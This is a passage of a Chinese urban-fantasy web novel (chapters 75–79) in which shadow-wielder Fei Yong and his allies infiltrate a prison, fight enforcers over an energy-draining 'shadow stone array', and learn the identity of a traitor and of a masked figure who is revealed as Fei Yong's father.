他突然想起影傀儡失控时说的话,喉结动了动:“还有件事,影傀儡上次失控时,说了句‘影石阵缺一不可’。你们说,这‘一’指的是第七块影石,还是……”
“是人。”夏艳玲突然开口,声音细得像蚊子叫。她正用手指戳着布娃娃烧焦的脸,“娃娃刚才发烫时,我好像听到个声音说……‘本源与湮灭,少一个都不行’。”
苏清月的脸色瞬间变了。她快步走到樟木箱前,从最底层翻出本线装书,书页上用朱砂画着两个人影,一个被黑色雾气包裹,一个浑身缠着绿藤,中间隔着道发光的阵法。“《生命能量纪要》里写过,影石阵的启动需要‘阴阳调和’,暗影能量与生命能量必须同时在场,否则会引发能量逆流。”
她的指尖点在黑色人影的胸口:“费勇的暗影本源是‘阴’,而能提供‘阳’的生命能量……”
所有人的目光都落在她身上。
苏清月的耳尖泛起红,却还是迎上众人的视线:“青禾堂的传人都能引导生命能量,我母亲当年应该就是负责这部分
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。”她深吸一口气,藤蔓突然从掌心窜出,缠上费勇的影子,“所以,我必须跟你一起进去。”
“不行!”林悦和费勇异口同声地喊。
林悦抢先一步挡在苏清月面前,电流在指尖滋滋作响:“你没受过格斗训练,进去就是拖后腿。我已经申请了提审,到时候我会故意制造混乱,吸引大部分守卫,费勇趁机去找影石阵,这样最稳妥。”
费勇的影子突然缠上林悦的脚踝,像在无声地反对。“你的雷形态刚用过,现在能量不稳。”他看着她眼底的红血丝——为了查监狱资料,她已经两天没合眼了,“提审申请太冒险,特调科里肯定有裁决会的内鬼。”
“那你说怎么办?”林悦的音量拔高,靴跟在地面碾出浅痕,“总不能让苏清月去当诱饵吧?”
“我有个办法。”夏艳玲突然举起烧坏的布娃娃,娃娃的手臂还保持着指向前方的姿势,“娃娃刚才投影时,我感觉到监狱的西北角有片松树林,那里的能量屏蔽场最弱。苏清月可以在那里催生藤蔓,干扰监狱的电力系统,就像……就像上次在图书馆跳闸那样。”
她说话时,布娃娃焦黑的手指突然动了动,指向费勇腰间——那里别着老鬼给的微型通讯器。
费勇看着娃娃诡异的动作,突然笑了。他把影傀儡的编号牌捏在手里,银针刺破指尖的瞬间,傀儡的眼睛亮起红光:“那就这么定了——”
“我带影傀儡从正门混进去,目标影石阵。”
“林悦去提审,制造混乱,注意别硬拼。”
“清月和艳玲去西北松树林,用生命能量干扰屏蔽场,记住,安全第一。”
他把第七根锁影针**傀儡的后颈,黑色轮廓突然挺直了背,像个真正的看守那样抬手敬礼。帽檐落下的阴影里,那颗模仿来的痣在光线下闪了闪,竟有种说不出的诡异。
苏清月突然抓住他的手腕,本源草的清香混着她的气息飘过来:“这是紧急药剂。”她往他口袋里塞了个小瓷瓶,“如果影傀儡失控,就打碎它,生命能量能暂时压制暗影逆流。”
费勇的指尖触到她微凉的皮肤,影子突然在地面打了个结——像只握紧的拳头。
暖房外的天色渐渐暗了,古树的枝桠在玻璃顶上投下张牙舞爪的影子。林悦把提审申请折成方块塞进警服内袋,金属徽章硌着肋骨,像块滚烫的烙铁。夏艳玲抱着烧坏的布娃娃,指尖在焦黑的布料上反复摩挲,那里还残留着灯塔面具的温度。
没有人说话,但每个人都知道,这场满月夜的潜入,不止是为了影石。
更是为了十年前那些没说完的话,那些被掩埋的真相,还有……那些在影子里藏了太久的约定。
费勇最后看了眼墙上的挂历,满月的标记被红笔圈着,像只睁着的眼睛。他的影傀儡突然抬手,模仿着编号073看守的结巴语气,发出了沙哑的声音:
“各……各单位注意,准……准备行动。”
第75章:监狱里的异能者
城际监狱的铁门发出铁锈摩擦的吱呀声,费勇跟在看守队伍里,帽檐压得极低。影傀儡的能量层紧贴着皮肤,像穿了件冰壳子,七根锁影针在关节处微微发烫,像提醒他别露馅的闹钟。
“编号073,发什么呆!”旁边的络腮胡看守推了他一把,**在腰间晃悠,“今天的能量抽取轮到三监区了,动作快点,别让监狱长等急了。”
费勇故意结巴着应了声:“是……是,张哥。”左手下意识扶住帽檐——这是编号073的标志性动作。影傀儡的模仿能力精准得可怕,连络腮胡看守袖口磨破的线头都清晰地倒映在他的影子里。
三监区的走廊比别处更冷,墙壁上布满暗绿色的霉斑,空气中飘着股淡淡的血腥味。每间牢房的铁栏杆上都缠着黑色电线,电流滋滋地顺着栏杆爬,在地面投下扭曲的光纹。费勇的影子轻轻抖了抖,他能感觉到那些电流里混杂着熟悉的能量——和影石碎片的波动一模一样。
“到了。”络腮胡看守停下脚步,用磁卡刷开最里面的牢房。铁门刚打开条缝,一股土腥味就扑面而来,像刚翻过的菜园子。
牢房里只有一张石床,一个干瘦的老头正背对着门口坐着,花白的头发纠结成鸟窝,指甲缝里嵌着黑泥。听到动静,他慢悠悠地转过头,浑浊的眼睛在费勇身上扫了一圈,突然咧嘴笑了——嘴里只剩三颗牙,牙龈红得像要流血。
“新面孔?”老头的声音像被水泡过的木头,“不像啊……你身上的影子,喘气呢。”
费勇的心脏猛地一缩。影傀儡的能量层瞬间绷紧,差点把藏在袖口的影刃弹出来。络腮胡看守却没察觉异常,不耐烦地用**戳了戳铁栏杆:“土老怪,别装疯卖傻,该去能量室了。”
被称作土老怪的老头突然往地上啐了口唾沫,唾沫落地的瞬间,地面竟鼓起个小小的土包。“急什么,”他的目光始终没离开费勇,“让这新来的小哥单独陪我聊聊,我就跟你们走,怎么样?”
络腮胡骂骂咧咧地走了,临走前丢下句“五分钟,超时我电死你”。铁门关上的刹那,费勇立刻解除了影傀儡的声带模仿:“你怎么知道……”
“影石的味道。”土老怪打断他,突然伸手抓住费勇的脚踝。他的指尖冰凉,接触到影傀儡能量层的瞬间,费勇感觉到地面有什么东西在蠕动——是细小的土粒正顺着裤腿往上爬,“你口袋里有五块碎片,对不对?十年前,我在701研究所见过这东西,他们用它来……”
“用来抽取异能者的能量。”费勇接话的声音有些发紧。他低头看着缠绕在脚踝上的土线,那是土老怪的异能,却诡异的没有被栏杆上的电流干扰,“这些电线是假的?”
“监狱长玩的障眼法。”土老怪嗤笑一声,往墙角挪了挪,石床竟跟着他的动作平移了半尺,露出底下刻着的奇怪纹路,“真正抽能量的是地板下的阵法,电线只是用来掩人耳目的。你看这些纹路——”他用指甲在地上划了道弧线,“像不像影石阵的边角?”
费勇凑近看,那些纹路果然和地图上标注的影石阵轮廓吻合,只是更细密,像缩小了无数倍的蛛网。“他们用这些小阵法……”
“养着大的。”土老怪突然压低声音,浑浊的眼睛里闪过一丝精光,“地下三层的影石阵需要能量喂养,我们这些异能者就是养料。你想知道影石阵的启动密码吗?想知道谁把你们的计划卖给裁决会吗?”
费勇的影丝瞬间绷紧,像拉满的弓弦。他想起林悦提审申请上的加密编号,只有破晓的核心成员才知道解码方式。
“帮我逃出去。”土老怪的手指在地面轻轻敲击,石床底下突然弹出个小陶罐,里面装着半罐浑浊的液体,“这是我攒的地脉精华,能暂时屏蔽能量探测。你把我带出监狱,我就告诉你内鬼是谁,还附赠影石阵的弱点——这买卖划算吧?”
费勇盯着那罐地脉精华,影子悄悄探过去,像条嗅味道的蛇。液体里确实裹着股温和的能量,和苏清月的生命绿藤有点像,却更厚重,像埋在地下的树根。
“我怎么信你?”
“你可以不信。”土老怪突然往墙上拍了一掌,石墙上竟浮现出个模糊的手印,“但再过三分钟,执法者就会冲进三监区——他们知道你来了,也知道林警官的提审是幌子。”
费勇的通讯器突然震动了一下,是苏清月发来的加密信息,只有三个字:“有内鬼。”
几乎同时,监狱的警报声凄厉地响起,红光顺着走廊的缝隙涌进来,像泼洒的血。络腮胡看守的吼声从远处传来,夹杂着电流**的噼啪声:“抓住他!编号073是假的!”
“没时间犹豫了!”土老怪猛地将陶罐塞进费勇手里,干枯的手指抓住他的手腕,“地脉精华涂在影傀儡上,能撑十分钟!快!”
费勇咬了咬牙,将罐子里的液体倒在掌心。冰凉的液体接触到影傀儡能量层的瞬间,那些紧
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绷的能量突然像被安抚的猫,温顺地贴回皮肤。他能感觉到周围的探测波像撞在棉花上似的,全被弹开了。
“走!”他拽起土老怪,影刃瞬间划破铁栏杆的锁扣。刚冲出牢房,就看到三个穿黑色西装的执法者堵在走廊尽头,手里的异能抑制器闪着红光——和张顾问用来对付林悦的那款一模一样。
“抓住他们!”执法者的声音像机械合成的,抑制器发出的低频噪音让费勇的影子阵阵发麻。
土老怪突然往地上一趴,双手按在地面。走廊的水泥地瞬间裂开蛛网般的缝隙,土块像喷泉似的往上涌,在他们面前堆起道土墙。“快走!我挡住他们!”老头的声音从土墙后传来,带着吃力的喘息,“内鬼是……”
一道银光突然划破空气,像快刀切开黄油般刺穿了土墙。土老怪的喊声戛然而止,只留下声模糊的闷哼。费勇眼角的余光瞥见银光上沾着的黑泥——是空间切割系审判长的能力!
“走!”费勇死死攥住手里的陶罐,拖着土老怪往反方向跑。影傀儡的能量层在快速消耗,锁影针的温度越来越低,他知道撑不了多久。
土墙后面传来执法者的怒吼和土块坍塌的轰鸣,费勇不敢回头。他能感觉到土老怪的身体在变冷,那只抓住他手腕的手正一点点松开,最后只剩下冰凉的指尖在颤抖。
“影石阵……在……”土老怪的声音细若游丝,气若游丝间,他的指尖在费勇手背上划出个歪扭的符号——像个奔跑的人影。
费勇突然想起老鬼给的资料里,监狱结构图上标注的地下三层入口,就在三监区的医务室下面。他猛地转向左边的岔路,影遁的能量顺着脚尖流进地面,像水滴融入大海。
身后的警报声越来越近,执法者的脚步声像踩在心脏上。费勇低头看了眼怀里的土老怪,老头已经没了气息,眼睛却还圆睁着,盯着天花板上扭动的电流纹——那些纹路在他瞳孔里,竟映出了影石阵的形状。
影傀儡的能量层突然发出碎裂声,费勇知道锁影针快撑不住了。他咬碎牙,将最后一点地脉精华抹在胸口,那里藏着五块影石碎片。
“撑住……”他对自己说,也对怀里渐渐冰冷的土老怪说,“至少……得知道内鬼是谁。”
医务室的玻璃门就在眼前,费勇撞开大门的瞬间,眼角的余光瞥见墙上的电子钟——距离满月还有四十分钟。他的影子在地面剧烈起伏,像预示着更大风暴的海平线。
第76章:影石阵的雏形
医务室的地板在脚下震动,费勇掀开手术台时,金属支架发出刺耳的刮擦声。土老怪的尸体被他藏在药品柜后面,老头临死前在他手背上划的符号还在发烫——那是个向下的箭头,边缘带着锯齿,像在暗示通往地下的路。
“找到了。”费勇的指尖触到地板缝里的凹槽,形状和他口袋里的影石碎片完全吻合。他将一块碎片按上去,凹槽突然亮起金光,地板像花瓣似的向两侧翻开,露出个黑黢黢的通道,冷风裹挟着泥土腥味扑面而来。
通道内壁爬满发光的藤蔓,是苏清月的生命能量——她果然按计划干扰了屏蔽场,这些藤蔓是给她留的路标。费勇顺着藤蔓往下爬,铁梯的锈屑粘在手心,影傀儡的能量层已经薄得像层纸,锁影针在膝盖处硌出疼来,提醒他随时可能暴露。
爬了大约三十米,脚下突然一空。
费勇猛地撑开影盾,落地时却发现自己站在片柔软的苔藓上。眼前是个巨大的地下空间,穹顶悬挂着无数发光的石钟乳,水滴落在地面的声音像在敲鼓。而空间的正中央,悬浮着一个旋转的六芒星阵——
六块影石碎片嵌在阵眼,每块都比费勇找到的大上一圈,边缘泛着不同颜色的光:红、蓝、绿、黄、白、紫,像被点燃的六色火焰。能量流顺着碎片间的金线游走,在地面织成张巨大的网,网眼里隐约能看到无数细小的人影在挣扎——是被抽取能量的异能者!
“这就是……影石阵。”费勇的喉咙发紧。他的影子不受控制地朝阵法飘去,像被磁石吸引的铁屑。那些金色纹路在他眼中突然活了过来,和他影子里的纹路产生共鸣,发出嗡嗡的响声。
阵中心有个明显的空缺,形状恰好能放下他口袋里的五块碎片。费勇刚往前走了两步,六块影石突然同时转向他,光芒骤然变强,将他的影子钉在地面。
“影石阵……”
“封印……”
“影界之门……”
无数破碎的词语涌入脑海,像有人在耳边用千万种声音同时低语。费勇看到了十年前的画面:一群穿白大褂的人将影石碎片嵌入地面,他的母亲抱着年幼的他站在远处,影子里渗出黑色的雾气;林悦的父亲举着雷矛冲向阵法,却被能量网弹开,警徽在**中烧成灰烬;还有个戴青铜面具的人,正将第六块影石放进阵眼,面具下的眼睛在看向他时,闪过一丝复杂的情绪。
“十年周期……”最后的词语带着冰碴般的寒意,“门要开了……”
费勇猛地晃过神,冷汗浸透了后背。他的影子已经和阵法的能量网连在一起,那些金色纹路顺着影子爬上他的手腕,像在给他戴**。
“终于等到你了。”一个沙哑的声音从阴影里传来,“第七块影石的容器。”
监狱长从石钟乳后面走出来,黑色制服上沾着泥土,左脸有块新鲜的疤痕——是林悦的雷矛留下的。他手里把玩着个银色的遥控器,指节因用力而发白:“判官大人说,你体内的暗影本源,才是启动阵法的最后一把钥匙。”
费勇的影刃瞬间出鞘,黑色的能量在刃尖凝成实体:“你把那些异能者怎么样了?”
“怎么样了?”监狱长笑得露出黄牙,指了指能量网里的人影,“他们在为伟大的事业做贡献。影石阵需要能量来加固封印,而你的本源,能让封印变成……门。”他按下遥控器上的红色按钮,“可惜啊,林警官没能拦住执法队,现在没人能救你了。”
地面突然震动起来,六块影石的光芒变得刺眼。费勇感到影子里的能量在疯狂流失,像被无形的吸管抽走。他低头一看,手腕上的金色纹路已经蔓延到胸口,正往心脏的位置爬。
“放弃吧。”监狱长一步步逼近,手里多了把装着异能抑制器的**,“你父亲当年也挣扎过,结果呢?还不是成了阵法的养料。”
费勇的影子猛地暴涨,将能量网撕开道口子。他认出监狱长腰间挂着的钥匙串——上面有块眼熟的玉佩,和苏清月给他的那块是一对。“你认识苏清月的母亲?”
监狱长的脸色瞬间变了,像是被踩了尾巴的猫:“那老女人……早该**!”他突然扣动**,抑制器射出的蓝光擦着费勇的耳边飞过,击中后面的石钟乳。
石钟乳瞬间结冰,黑色的裂纹顺着冰面蔓延。费勇趁机影遁到侧面,影刃划向监狱长的手腕,却被对方用金属臂甲挡住。
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火花四溅中,他看到臂甲内侧刻着个“701”的编号——和林悦父亲日记里的研究所编号一样。
“701研究所的余孽。”费勇的声音冷得像冰,“你们当年没杀干净的,现在都要讨回来了。”
他的影子突然**成六个,分别扑向六块影石。虽然被能量网弹开,却成功让阵法的光芒暗了一瞬。监狱长骂了句脏话,再次按下遥控器,这次从穹顶落下的不是能量网,而是带着尖刺的金属墙,将费勇围在中间。
“尝尝影石阵的防御机制。”监狱长的声音隔着金属墙传来,带着得意的回响,“这些墙里掺了影石粉末,能吸收你的暗影能量。等你的本源被抽干,我会把你的尸体切成块,分给那些等着上位的执法者……”
金属墙突然发出剧烈的撞击声,伴随着雷霆的轰鸣。
“砰!”
一块金属墙被硬生生击穿,蓝色的电弧像蛇一样顺着缺口爬进来,在地面炸出蛛网般的裂纹。林悦的声音混着电流声传来,带着喘不上气的急促:“费勇!你**没?没死就赶紧滚出来!”
费勇的影子突然自动化作护盾,挡在缺口前。他看到林悦站在外面,全身覆盖着蓝色的电弧,警服被能量烧得破烂不堪,嘴角渗着血丝,却还在笑着——那是准备拼命的表情。
“你怎么来了?”费勇的声音有些发颤。
“再不来,你就要被做成标本了!”林悦的雷矛在掌心凝聚,蓝色的光芒照亮她眼底的红血丝,“我爸说过,当警察的,不能让同伴死在自己前面。”她突然将雷矛掷向另一块金属墙,“快走!我断后!”
金属墙倒塌的瞬间,费勇看到了远处的情景:苏清月的藤蔓已经爬满了地下空间的入口,绿色的能量正与影石阵的光芒对抗;夏艳玲抱着烧焦的布娃娃,站在藤蔓后面,娃娃的眼睛突然亮起红光,投射出执法队的位置。
而在影石阵的另一端,阴影里站着个戴青铜面具的人,正静静地看着他。第六块影石在他手里泛着紫光,像在等待什么。
费勇的影子突然转向阵法中心的空缺,那里的金色纹路正在发出邀请般的光芒。他知道,自己必须做出选择了。
第77章:林悦的雷形态
金属墙倒塌的碎片溅起火星,林悦的雷矛还在滋滋作响,蓝色的电弧顺着她的指尖爬到地面,在苔藓上灼出焦黑的小洞。她的警帽早就不见了,额前的碎发被汗水粘在皮肤上,混着电弧烧焦的糊味——这是雷形态的副作用,能量正灼烧她的肌体。
“发什么呆?”林悦踹了费勇一脚,力道却软得像棉花,“再不走,等执法队把这儿围成铁桶,咱们俩都得交代在这儿。”她说话时,嘴角的血丝又渗出些,滴在胸前的警徽上,红得刺眼。
费勇的影子突然缠上她的手腕。他看到林悦皮肤下的血管在发光,像有无数条蓝色小蛇在游走——那是雷形态过载的征兆。“你逞什么能?”他的声音发沉,“苏清月说过,你的体质撑不住这种禁术。”
“少废话。”林悦甩开他的影子,转身时动作一顿,显然是牵动了内伤。她从后腰摸出个银色的金属瓶,往嘴里倒了两口,喉结滚动时,脖颈上的青筋跟着突突跳,“这是特调科的能量抑制剂,能撑一阵。你赶紧去阵眼,我爸的日记里写着,第七块影石归位时,影石阵会短暂失控——”
“吼——”
执法队的嘶吼打断了她的话。二十多个穿黑色作战服的人影从通道口涌出来,手里的异能抑制器发出红光,像狼群的眼睛。为首的执法者举起盾牌,上面爬满电流——是能吸收雷霆能量的反制装备。
林悦的瞳孔骤然收缩。她猛地将费勇往影石阵中心推:“去阵眼!别管我!”
费勇被推得踉跄两步,回头时正看见林悦张开双臂。蓝色的电弧在她周身炸开,像突然绽放的烟花,那些原本零散的电流瞬间凝聚成实质性的铠甲,连她的睫毛上都裹着层蓝光。她的眼睛变成了纯粹的蓝色,pupils(瞳孔)里跳动着与影石阵同源的金色纹路。
“这才是……雷形态。”费勇的影子不受控制地发抖。他在那些纹路里看到了熟悉的影子——林悦父亲的警徽,十年前在**中烧成灰烬的那枚。
“裁决会的杂碎们!”林悦的声音裹着电流,变得又尖又脆,像玻璃碎裂,“尝尝我爸留下的本事!”
她猛地跺脚,地面裂开蛛网般的缝隙,蓝色的电流顺着裂缝狂奔,像群受惊的马。最前面的三个执法者刚举起抑制器,就被电流掀飞,盾牌在半空中炸成碎片。电弧撞上后面的人墙,竟像水珠滴进热油里,瞬间炸开成片的蓝光,惨叫声此起彼伏。
费勇趁机冲向影石阵。他的影子在地面铺开,织成道黑色的地毯,凡是踩上去的执法者,动作都慢了半拍——这是他刚学会的影界领域雏形,虽然范围只有五米,却足够为林悦分担压力。
“费勇!”林悦突然大喊。
费勇回头的瞬间,看到枚麻醉针擦着林悦的耳边飞过,钉在石钟乳上。发射针的执法者正躲在能量网的死角,手里的**箭闪着绿光——是能麻痹神经的植物毒素,专门克制异能者!
林悦显然也发现了。她想转身,雷形态却出现了迟滞,蓝色的铠甲忽明忽暗。就在这时,她的影子突然拉长,像条黑色的鞭子,精准地缠住了那名执法者的脚踝。
是费勇的影子。
“谢了!”林悦借力旋身,雷矛在掌心凝成实体,蓝色的光芒几乎要刺瞎人眼。她投掷的瞬间,故意让雷矛擦过影石阵的红光区域——电流撞上能量网,竟激起片金色的火花,像在给费勇指路。
费勇看懂了。那些火花落下的位置,正是能量网最薄弱的节点。他的影子**成五把小刀,精准地扎进节点处,能量网果然泛起涟漪。
“找到了!”他的指尖触到阵眼的空缺,口袋里的五块影石碎片突然发烫,像要自己跳出去。就在碎片即将嵌入的刹那,监狱长的声音从能量网另一端传来,带着癫狂的笑意:
“晚了!”
监狱长手里多了个青铜色的圆盘,上面刻着和影石阵相同的纹路。他将圆盘往地面一按,六块影石突然加速旋转,能量网瞬间收紧,将费勇和林悦都罩了进去。更可怕的是,那些金色纹路开始倒流,像被倒吸的水流,顺着费勇的影子往他心脏钻。
“这是影石阵的反哺机制。”监狱长笑得直不起腰,“你越是靠近阵眼,本源流失得越快!等你变成空壳子,我就把你的影子剥下来,送给判官大人当礼物——”
“你给我闭嘴!”
林悦的吼声里带着哭腔。她的雷形态已经开始溃散,蓝色铠甲出现了
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裂痕,露出底下渗血的皮肤。但她还是举起了手,这一次,她的指尖不再是蓝色,而是变成了刺眼的纯白——那是雷霆能量压缩到极致的颜色。
“费勇,看好了。”她的声音突然变得很轻,像在说悄悄话,“这是我爸教我的最后一招。”
纯白的雷光炸开时,费勇的影子自动罩住了他的眼睛。他只听到震耳欲聋的轰鸣,感觉到能量网在剧烈震动,还有林悦闷哼的声音——那声闷哼像针,扎得他心脏生疼。
等影子散开,费勇看到了永生难忘的画面:
林悦半跪在地上,右臂的袖子完全消失了,皮肤焦黑得像块炭,露出底下隐约可见的白骨。但她面前的能量网被撕开道巨大的口子,监狱长被震飞在石钟乳上,圆盘碎成了好几块。而那道纯白的雷光还在空气中残留,像条凝固的光河,将影石阵的六块碎片都震得偏离了轨道。
“愣着干什么……”林悦抬头看他,笑的时候露出的牙齿沾着血,“我说过,会给你争取时间。”
费勇的影子突然冲到她身前,化作面厚实的盾。他转身冲向阵眼,五块影石碎片终于嵌入空缺——
嗡!
影石阵爆发出前所未有的光芒,六色能量流突然倒转,不再抽取异能者的能量,而是疯狂地往费勇体内灌。他的影子在尖叫,那些金色纹路顺着血管爬上他的脸颊,疼得他几乎要跪倒。
但他看到了。
在能量洪流中,有个模糊的人影正从影石阵里往外爬。那人穿着十年前的白大褂,手里抱着块黑色的石头,侧脸的轮廓和费勇几乎一模一样——是他的父亲!
“爸……”费勇伸出手。
就在这时,能量网突然再次收紧。监狱长拖着流血的腿爬起来,手里举着最后一块影石碎片——第六块,紫色的那块!
“判官大人说了,要七块齐才能开门!”监狱长将碎片往阵眼扔去,“你爸当年没做到的事,今天我来完成!”
碎片划过的轨迹上,突然多出道青铜色的影子。
戴青铜面具的人不知何时出现在半空,他伸手抓住了第六块影石,面具下的眼睛死死盯着费勇,声音像生锈的铁片在摩擦:
“不能让他得逞。”
第78章:第六块影石的争夺
青铜面具反射着影石阵的六色光芒,像块会呼吸的金属。戴面具的人悬在半空,第六块影石在他掌心旋转,紫色的光晕顺着他的指缝往下滴,落在地面上凝成细小的冰晶——那是能量凝结的痕迹,和费勇影子里流淌的本源气息惊人地相似。
“把影石给我。”费勇的影子在地面掀起黑色的浪,五块嵌入阵眼的影石突然加速震颤,像是在呼应他的情绪。他能感觉到父亲的人影在能量洪流中越来越清晰,那人手里的黑色石头正发出强烈的共鸣,“那是启动阵法的关键。”
“关键?”面具人笑了,声音透过青铜传来,带着种奇怪的共鸣,“你知道启动它意味着什么?”他突然挥手,一道暗影能量劈向费勇,却在接触到对方影子的瞬间炸开,化作漫天飞舞的黑色光粒,“你体内的本源还没觉醒,强行启动只会被影界吞噬——就像你父亲当年那样。”
费勇的瞳孔骤缩。父亲的人影在这时突然剧烈晃动,白大褂的袖子被能量流撕碎,露出手腕上的疤痕——和费勇左手腕上的胎记形状完全一致。这个细节像把钥匙,猛地捅开了他记忆深处的闸门:十岁那年,父亲抱着他在院子里种槐树,手腕被树枝划伤,留下的就是这样一道月牙形的疤。
“你认识我父亲?”费勇的声音发颤,影子不受控制地爬上对方的脚踝——这是他复制异能的本能反应。就在接触的刹那,无数破碎的画面涌入脑海:燃烧的研究所、满地的影石碎片、母亲抱着影石阵图纸的背影,还有个戴青铜面具的人,正将年幼的费勇塞进通风管道……
“别碰他!”
监狱长突然从石钟乳后扑出来,手里握着半截断裂的金属矛——是林悦雷矛的残骸,上面还残留着蓝色的电弧。他显然是想趁两人对峙偷袭,矛尖直指面具人的后心,却被对方用影子轻松缠住。
“裁决会的走狗。”面具人冷哼一声,缠在金属矛上的影子突然收紧,那截合金矛竟像饼干似的碎成粉末。他反手一掌拍在监狱长胸口,对方像断线的风筝般飞出去,撞在能量网上发出痛苦的哀嚎——那些金色纹路瞬间爬满他的身体,开始抽取他的生命能量。
费勇趁机扑向面具人。他的影刃划破空气,目标却不是对方,而是那枚悬浮的紫色影石。就在指尖即将触碰到影石的瞬间,面具人突然转身,两人的影子撞在一起,发出沉闷的轰鸣。
嗡——
暗影能量像海啸般扩散开来。费勇感到体内的本源在沸腾,那些原本属于他的黑色能量,竟有一半顺着影子流向对方体内,而对方的能量里,竟夹杂着熟悉的槐花香——那是他家老院子里独有的味道,父亲总爱在槐树下教他辨认星座。
“这不可能……”费勇的影刃停在半空。面具人胸前的青铜在能量冲击下裂开道缝,露出底下的皮肤,上面有块暗红色的烫伤疤痕,形状像朵花——那是十年前研究所**时留下的印记,费勇在老照片上见过,在父亲的左胸口。
面具人显然也察觉到了异常。他踉跄着后退两步,掌心的紫色影石突然失控,紫色光晕暴涨,将两人都罩了进去。在这片紫色光雾里,费勇清晰地看到对方的影子——和自己的影子重合时,竟泛起相同的金色纹路,像两条从同一根系上长出的藤蔓。
“你到底是谁?”费勇的声音在发抖。
“吼——”
监狱长的嘶吼打断了对峙。他不知何时挣脱了能量网,手里举着个黑色的立方体,上面刻满裁决会的标志。“判官大人的‘绝对裁决’!”他将立方体往地上砸去,黑色的光波瞬间扩散,所过之处,影石阵的能量流都开始紊乱,“就算我得不到影石,你们也别想启动阵法!”
光波击中紫色影石的刹那,面具人突然将影石抛向费勇:“接住!”
费勇下意识伸手,影石入手的瞬间,他感到一股熟悉的记忆涌来——十年前,父亲也是这样将他抛向通风管道,嘴里喊着同样的话。他低头看向影石,里面竟浮现出画面:面具人在研究所的废墟里寻找影石碎片,背上插着半截钢筋;他在裁决会的地牢里被折磨,却死死护住怀里的影石;他在深夜的青禾堂外徘徊,看着苏清月给植物浇水,眼神里满是愧疚……
“灯塔……”费勇猛地抬头。
面具人已经冲向监狱长,暗影能量在他掌心凝成巨刃,却在靠近黑色立方体时突然溃散——那是“绝对裁决”的压制效果。监狱长得意地狂笑,伸手去抓空中的紫色影石:“判官大人说了,只要拿到第七块影石,就能让影界之门永远敞开!”
“休想!”
林悦的声音突然从通道口传来。她不知何时爬了过来,右臂的焦黑皮肤上缠着苏清月的绿藤,那些植物正拼命往她伤口里钻,输送着
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生命能量。她举起左手,仅剩的雷光在掌心凝聚,虽然微弱,却精准地击中了监狱长的手腕。
监狱长吃痛,抓向影石的手一歪。紫色影石在空中划过道弧线,朝着影石阵的中心空缺坠去——那里,五块影石正因为能量紊乱而剧烈震动,金色纹路像蛛网般蔓延,眼看就要崩溃。
“拦住它!”面具人突然大喊,同时冲向影石坠落的方向。
费勇的影子比他更快。黑色的影绳瞬间缠住影石,却在接触到金色纹路的刹那被弹开——监狱长的“绝对裁决”正在干扰所有能量操控。眼看影石就要落入空缺,监狱长突然扑过来,用身体撞向影石:“一起毁灭吧!”
“不!”
费勇和面具人同时出手。暗影能量在空中相撞,竟自发地融合成一道黑色的屏障,将监狱长和影石都罩在里面。在这片黑色屏障里,费勇清晰地看到对方的动作——和自己如出一辙,连凝聚能量时指尖的颤抖频率都完全相同。
轰!
紫色影石最终还是落入了阵眼。
影石阵爆发出前所未有的光芒,六色能量流突然倒转,在中心形成个黑色的漩涡,像只睁开的眼睛。地面开始剧烈震动,石钟乳纷纷坠落,砸在能量网上发出刺耳的响声。监狱长被漩涡吸住,发出绝望的惨叫,身体在能量流中逐渐透明。
面具人突然抓住费勇的手腕:“快走!影石阵失控了,再不走会被卷入影界!”
费勇却盯着漩涡中心。那里,父亲的人影越来越清晰,正伸出手,像是要抓住什么。他想靠近,却被面具人死死拽住。
“那是残影!”面具人的声音带着罕见的急切,“是影石阵记录的记忆,不是真的!”他拽着费勇往通道口跑,路过林悦身边时,顺手将她扛在肩上,“苏清月和夏艳玲在上面等我们!”
身后的黑色漩涡越来越大,吞噬着周围的一切。费勇回头时,看到面具人胸前的青铜面具彻底裂开,露出张饱经风霜的脸——和他梦中的父亲一模一样,只是眼角多了许多皱纹,鬓角染了霜白。
“爸……”费勇的声音被轰鸣声淹没。
面具人没有回头,只是拽着他的手更紧了。在他们身后,影石阵的六块影石同时爆碎,黑色的冲击波将整个地下空间掀翻,坍塌的石块像瀑布般落下,掩埋了那道黑色的漩涡,也掩埋了十年前的所有秘密。
第79章:土老怪的遗言
坍塌的轰鸣声像有只巨手在捶打耳膜,费勇被坠落的石块压在腰腹,肋骨传来针扎似的疼。他能感觉到影傀儡的能量层彻底碎了,锁影针在皮肤下硌出深深的红痕,像要嵌进骨头里。
“啧,这破石头还挺沉。”
个沙哑的声音从头顶传来。费勇艰难地抬头,看见土老怪正趴在石块上,花白的头发上沾着血和泥土,左胸口有道狰狞的伤口——是空间切割系审判长留下的,黑色的能量还在伤口周围游走,像群啃食血肉的虫子。
“你怎么……”费勇的嗓子干得冒烟。他记得土老怪明明已经没了气息,那双圆睁的眼睛还盯着天花板上的电流纹。
“土命人,没那么容易死。”土老怪咧嘴笑,嘴里的三颗牙又掉了颗,说话漏风,“当年在701研究所,判官用空间切割劈我脑袋,我都从乱葬岗爬回来了……”他突然剧烈咳嗽,咳出的血沫里混着细小的土粒,“快……帮我把这石块挪开点,压着我老腰了。”
费勇的影子立刻缠上石块,却在接触到土老怪的影子时顿住了。老头的影子里缠着团微弱的土黄色能量,正拼命往他伤口里钻——那是他在用最后的异能吊着命,像截快燃尽的蜡烛,还在拼命发光。
“你撑不住的。”费勇的声音发紧。
“撑不住也得撑。”土老怪突然抓住他的手,掌心的温度比冰块还凉,“内鬼……我还没说呢。”他往费勇手心里塞了个东西,硬邦邦的,裹着层黏糊糊的血,“这是我藏的地脉精华结晶,能挡次空间切割……你得活着出去,告诉老鬼,风行者他……”
“风行者?”费勇的心猛地沉下去。他想起那个总爱斜着眼看人的超音速异能者,破晓的行动组长,每次任务都冲在最前面,老鬼还说过,“风行者虽然桀骜,但绝对可靠”。
“就是他。”土老怪的呼吸越来越弱,眼睛却亮得吓人,“上次破晓伏击裁决会的运输队,明明是绝密计划,结果被审判长堵个正着……我在监狱里用土遁听墙角,听见风行者给监狱长打电话,说‘第七块影石的容器已经进监狱了’……”
石块突然晃动了下,上面又压了层新的碎石。土老怪闷哼声,抓着费勇的手开始发颤:“他还说……判官答应他,等影界之门打开,就让他当新的审判长……这孙子,当年还是我把他从裁决会的地牢里救出来的……”
“我知道了。”费勇握紧手里的结晶,冰凉的触感刺得手心发麻,“你撑住,苏清月就在上面,她能治好你。”
“治不好喽。”土老怪笑了,笑得眼泪都流出来,混着脸上的血往下淌,“我这把老骨头,早就被影石阵抽干了……能把内鬼说出来,值了。”他突然推了费勇把,“快逃!空间切割的能量味儿……来了!”
